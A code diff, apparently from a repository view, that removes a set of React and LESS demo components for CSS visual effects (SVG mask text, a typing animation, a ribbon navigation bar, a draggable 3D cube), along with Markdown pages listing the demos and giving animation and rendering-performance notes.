<mask id="mask">
<rect width="100%" height="100%" fill="#fff" />
<text x="10%" y="25%" font-size="50px" font-weight="300">hello</text>
<text x="10%" y="50%" font-size="100px" letter-spacing="8">My Friend</text>
</mask>
</defs>
<rect width="100%" height="100%" fill="url(#gradient)" fill-opacity="0.8" mask="url(#mask)" />
</svg>
</div>
<div className="article">
<h1>You Are The Best</h1>
<ul>
<li>
<img src="https://s.cdpn.io/387787/scalable.svg" alt="" width="60" height="60" />
<h2>bread</h2>
</li>
<li>
<img src="https://s.cdpn.io/387787/customizable.svg" alt="" width="60" height="60" />
<h2>hand</h2>
</li>
<li>
<img src="https://s.cdpn.io/387787/accessible.svg" alt="" width="60" height="60" />
<h2>heart</h2>
</li>
</ul>
</div>
</div>
)
}

View File

@ -1,31 +0,0 @@
@keyframes typing {
from { width: 0; }
}
@keyframes blink-caret {
50% {
border-color: transparent;
}
}
.cssPrint {
width: 100%;
height: 100%;
background-color: black;
&_h1 {
display: inline-block;
color: lime;
font: bold 200% Consolas;
/*font: bold 200% "Source Code Pro";*/
/*必须使用等宽字体*/
border-right: .1em solid currentColor;
width: 28ch;
margin: 2em 1em;
white-space: nowrap;
overflow: hidden;
animation: typing 3s steps(20, end),
blink-caret .5s step-end infinite alternate;
/*step-end每个关键帧在end处跳转infinite无限循环播放alternate来回播放normal顺序播放*/
}
}

View File

@ -1,16 +0,0 @@
import React, { useRef, useEffect, FC } from 'react';
import './index.less'
export default (): any => {
useEffect(() => {
}, [])
return (
<div className="cssPrint">
<h1 className="cssPrint_h1">
This is Nice Note WebSite By Json!
</h1>
</div>
)
}

View File

@ -1,46 +0,0 @@
.ribbon {
display:inline-block;
height: 300px;
background-color: #000;
&::before, &::after {
margin-top:.5em;
content: "";
float:left;
border:1.5em solid #fff;
}
&::before {
border-left-color: transparent;
}
&::after {
border-right-color: transparent;
}
a {
float: left;
height: 3.5em;
color: #000;
text-decoration:none;
overflow: hidden;
&:hover span {
margin-top: 0;
background-color: #FFD204;
}
}
span {
position: relative;
background: #fff;
display: inline-block;
line-height: 3em;
margin-top: .5em;
padding: 0 1em;
transition: background .2s, margin-top .2s;
&:before {
content: "";
position:absolute;
top:3em;
left:0;
border-right:0.5em solid #9B8651;
border-bottom:0.5em solid #fff;
}
}
}

View File

@ -1,17 +0,0 @@
import React, { useRef, useEffect, FC } from 'react';
import './index.less'
export default (): any => {
useEffect(() => {
}, [])
return (
<div className='ribbon'>
<a href='#'><span></span></a>
<a href='#'><span></span></a>
<a href='#'><span></span></a>
<a href='#'><span></span></a>
</div>
)
}

View File

@ -1,63 +0,0 @@
.wraper {
width: 260px;
height: 260px;
margin: 128px auto;
perspective: 1000px;
}
.cube {
height: 100%;
width: 100%;
position: relative;
transform-style: preserve-3d;
/*transform: rotateX(-30deg) rotateY(-45deg);*/
animation: spin 5s ease-in-out infinite;
}
@keyframes spin {
from {
transform: rotateX(0deg) rotateY(0deg) rotateZ(0deg);
}
to {
transform: rotateX(360deg) rotateY(360deg) rotateZ(360deg);
}
}
.cube>div {
width: 100%;
height: 100%;
position: absolute;
top: 0;
left: 0;
background-color: rgba(0, 0, 0, .8);
text-align: center;
line-height: 260px;
color: #fff;
font-size: 48px;
border: 2px solid #fff;
user-select: none;
}
.front {
transform: translateZ(130px);
}
.end {
transform: rotateY(180deg) translateZ(130px);
}
.top {
transform: rotateX(90deg) translateZ(130px);
}
.bottom {
transform: rotateX(-90deg) translateZ(130px);
}
.left {
transform: rotateY(-90deg) translateZ(130px);
}
.right {
transform: rotateY(90deg) translateZ(130px);
}

View File

@ -1,89 +0,0 @@
import React, { useRef, useEffect, FC } from 'react';
import './index.less'
export default (): any => {
/**
*
*/
function init() {
setTimeout(function () {
var cube = document.querySelector(".cube"),
downX, downY, moveX, moveY, tempX, tempY, degX = 0, degY = 0;
window.onmousedown = function (e) {
e = e || event;
downX = e.clientX; //获取鼠标点下去时的坐标
downY = e.clientY;
console.log('can');
window.onmousemove = function (e) {
e = e || event;
moveX = e.clientX - downX; //算出鼠标移动的距离
moveY = e.clientY - downY;
//根据一定比例将变化反应在盒子上改变比例5可以调节拖动的速度
tempX = degX + moveX / 5;
tempY = degY - moveY / 5;
cube.style.transform = "rotatex(" + tempY + "deg) rotatey(" + tempX + "deg)";
};
};
window.onmouseup = function (e) {
e = e || event;
degX += moveX / 5; //鼠标松开时将拖动期间改变的最终结果保存
degY += - moveY / 5;
window.onmousemove = null; //取消监听
};
// !function () {
// var n = 1000;
// var wraper = document.querySelector('.wraper');
// wraper.style.perspective = n + 'px';
// window.onmousewheel = function (e) {
// e = e || event;
// if (e.wheelDelta) { //判断浏览器IE谷歌滑轮事件
// if (e.wheelDelta > 0) { //当滑轮向上滚动时减小景深
// wraper.style.perspective = n - 50 + 'px';
// if (n > 350) {
// n = n - 50;
// }
// }
// if (e.wheelDelta < 0) { //当滑轮向下滚动时增加景深
// wraper.style.perspective = n + 50 + 'px';
// n += 50;
// }
// } else if (e.detail) { //Firefox滑轮事件
// if (e.detail > 0) {
// wraper.style.perspective = n - 50 + 'px';
// if (n > 350) {
// n = n - 50;
// }
// }
// if (e.detail < 0) {
// wraper.style.perspective = n + 50 + 'px';
// n += 50;
// }
// }
// };
// }();
}, 5000);
}
useEffect(() => {
}, [])
return (
<div className="wraper">
<div className="cube">
<div className="front">Front</div>
<div className="end">End</div>
<div className="left">Left</div>
<div className="right">Right</div>
<div className="top">Top</div>
<div className="bottom">Bottom</div>
</div>
</div>
)
}

View File

@ -1,57 +0,0 @@
---
nav:
title: FC
path: /funny
group:
title: css
order: 3
path: /css
---
# css
### 心跳卡片
<a href="https://codepen.io/gayane-gasparyan/pen/jOmaBQK">参考</a>
<code src="./demos/HeartBeat/index.tsx" />
### 小球动画
<code src="./demos/demo10/index.tsx" />
### 3D 方块
<code src="./demos/demo9/index.tsx" />
### 3D 导航条
<code src="./demos/demo8/index.tsx" />
### 键盘打字效果
<code src="./demos/demo7/index.tsx" />
### 镂空文字背景
<code src="./demos/demo1/index.tsx" />
### 按钮合集
<code src="./demos/demo2/index.tsx" />
### Svg 蒙版
<code src="./demos/demo3/index.tsx" />
### 毛玻璃蒙版
<code src="./demos/demo4/index.tsx" />
### 渐变文字
<code src="./demos/demo5/index.tsx" />
### 渐变文字
<code src="./demos/demo6/index.tsx" />

View File

@ -1,36 +0,0 @@
---
nav:
title: FC
path: /funny
group:
title: 说明
order: 3
path: /code
---
# 说明
funny code 的缩写,就是记录一些有意思的酷炫 code
## 迪士尼动画12原则
1. 挤压与拉伸
2. 预备动作
3. 表情与呈像方式
4. 逐帧画法与关键帧画法
5. 动作的惯性跟随和重叠
6. 慢入与慢出
7. 弧形运动轨迹
8. 次要动作
9. 节奏
10. 夸张
11. 熟练的手绘技法
12. 吸引力
## 提升页面性能技巧
页面渲染顺序js - css - layout重排 - paint重绘 - composite
* translate 替换为 left\top\right\bottom
* scale 替换为 width\height
* opacity 替换为 display\visibility

View File

@ -1 +0,0 @@
console.log(123)

Some files were not shown because too many files have changed in this diff Show More